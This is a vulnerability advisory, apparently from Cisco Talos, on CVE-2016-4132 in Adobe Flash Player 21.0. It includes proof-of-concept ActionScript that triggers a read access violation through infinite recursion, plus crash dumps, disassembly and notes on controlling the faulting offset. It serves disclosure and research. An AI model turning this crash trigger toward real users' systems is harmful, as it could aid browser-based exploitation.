CVE-2016-4132
A potentially exploitable read access violation vulnerability exists in the a way Adobe Flash Player handles infinitely recursive calls. A specially crafted ActionScript code can cause a read access violation which can potentially be further abused. To trriger this vulnerability user interaction is required in that the user needs to visit a webpage with embedded malicious SWF file.
Adobe Flash Player 21.0 (latest at the time of writing)
https://get.adobe.com/flashplayer/
Vulnerability exists in a way Flash Player handles recursion when calling implicit functions such as “toString” or “valueOf”. It is best illustrated by an example:
public class Test extends Sprite {
public function Test() {
function func7(){
try { obj_URIError0.toString ( ); } catch(e:Error){}
try { obj_ByteArray8.writeDouble ( Math.PI); } catch(e:Error){}
return "";
}
var specObj2 = { toString:func7};
var obj_URIError0:URIError;
var obj_ByteArray8:ByteArray;
try { obj_URIError0 = new URIError( specObj2, null ); } catch(e:Error){}
func7();
}
}
The above code is broken down in a few steps:
1. specObj2 has its toString method overloaded with func7.
..* toString() gets called implicitly when type coercion to string is required.
2. obj_URIError0 is constructed with specObj2 as first argument
..* Constructor is public function URIError(message:String = "")
3. func7() is called directly.
4. In func7() , obj_URIError0.toString() is called first, which ends up calling specObj2.toString() implicitly.
..* Since specObj2.toString() is actually func7() this would create infinite recursion and the rest of that function should never get executed.
5. After a number of recursive calls, an upper recursion limit will get hit
..* Then second line in func7() gets executed leading to a crash
6. Flash crashes when trying to dereference Math.PI.
Above example is using objects of type UriError, ByteArray, and Math, but other combinations are possible. Most combinations end up crashing as straight forward null pointer dereferences but Math constants are somewhat special. We can observe the following crash when Math.PI is being dereferenced:
eax=00000000 ebx=00002000 ecx=052d73a0 edx=07f3c240 esi=05312880 edi=000505b0
eip=05fa8589 esp=000503c8 ebp=000504e0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
05fa8589 f30f7e4050 movq xmm0,mmword ptr [eax+50h] ds:0023:00000050=????????????????
Note that the crash happens in the JITed code which is generated based on the actionscript bytecode. Above crash is still a null pointer dereference but what makes it slightly more interesting is the fact that varying the constant in use gives us limited control over the offset in the JITed code. For example, using Math.SQRT2 instead of Math.PI gives:
eax=00000000 ebx=00002000 ecx=052b63a0 edx=07d7a240 esi=05311880 edi=000505b0
eip=05fb1577 esp=000503c8 ebp=000504e0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
05fb1577 f30f7e4060 movq xmm0,mmword ptr [eax+60h] ds:0023:00000060=????????????????
So, by varying the constant, we can vary the offset in the JITed code, but unfortunately as expected, in case of Math the highest offset is with SQRT2 (0x60) which is still far too low to be of any use.
Slight variations of the crashing piece of actionscript code yield slightly different results. For example:
try { obj_ByteArray8.writeDouble ( Math[0x41414141]); } catch(e:Error){}
Even though not strictly valid, the above code produces slightly more interesting assembly when JITed and crashes here: 00a52a2d 8b44240c mov eax,dword ptr [esp+0Ch] 00a52a31 8bcb mov ecx,ebx 00a52a33 83e1f8 and ecx,0FFFFFFF8h 00a52a36 8b11 mov edx,dword ptr [ecx] <=== CRASH 00a52a38 8b5244 mov edx,dword ptr [edx+44h] 00a52a3b 50 push eax 00a52a3c ffd2 call edx 00a52a3e 5b pop ebx 00a52a3f c20800 ret 8
Still a null pointer dereference, but this time near a call instruction and with eax fully controlled:
eax=41414141 ebx=00000001 ecx=00000000 edx=07ecb240 esi=05312880 edi=000505b0
eip=00a52a36 esp=000503b0 ebp=000504e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
flash!IAEModule_IAEKernel_UnloadModule+0x1ccfa6:
00a52a36 8b11 mov edx,dword ptr [ecx] ds:0023:00000000=????????
By digging into the preceding code, we can see the following:
05fb04d8 e833c6acfa call flash!IAEModule_IAEKernel_UnloadModule+0x1f7080 (00a7cb10) [1]
05fb04dd 8bc8 mov ecx,eax
05fb04df c745c437000000 mov dword ptr [ebp-3Ch],37h
05fb04e6 8b4110 mov eax,dword ptr [ecx+10h] [2]
05fb04e9 c745c439000000 mov dword ptr [ebp-3Ch],39h
05fb04f0 b919424063 mov ecx,63404219h
05fb04f5 81f158030122 xor ecx,22010358h
05fb04fb c745c43b000000 mov dword ptr [ebp-3Ch],3Bh
05fb0502 8d4001 lea eax,[eax+1] [3]
05fb0505 83ec08 sub esp,8
05fb0508 51 push ecx
05fb0509 50 push eax [4]
05fb050a 8b8d10ffffff mov ecx,dword ptr [ebp-0F0h]
05fb0510 e80b25aafa call flash!IAEModule_IAEKernel_UnloadModule+0x1ccf90 (00a52a20)
We can see that NULL being dereferenced at the time of the crash comes indirectly from the first call
above and second argument (0x41414141) is put into ecx directly and pushed to the stack. The part with the xor is just an artifact of “constant blinding” JIT spray mitigation. So, in the above code, function 00a7cb10, at [1], will return a pointer in eax, which gets read at [2] (this sets eax to NULL). Then it gets incremented at [3] and pushed to the stack at [4]. Later, in the function 00a52a20 this NULL pointer is dereferenced and the process crashes due to ReadAV.
That being said, the working hypothesis is that hitting a recursion limit sets the process in an irregular state, then, since the exception is inhibited by the try/catch block, code continues with execution in this exceptional state which leads to an invalid dereference when retrieving the Math object further leading to a crash.
Above examples use Math constants to demonstrate limited control over the dereference offset. It could be possible that a special object could be crafted which would allow for bigger offsets turning this into an arbitrary read access violation which could be further abused.
2016-04-28 - Vendor Disclosure
2016-06-14 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.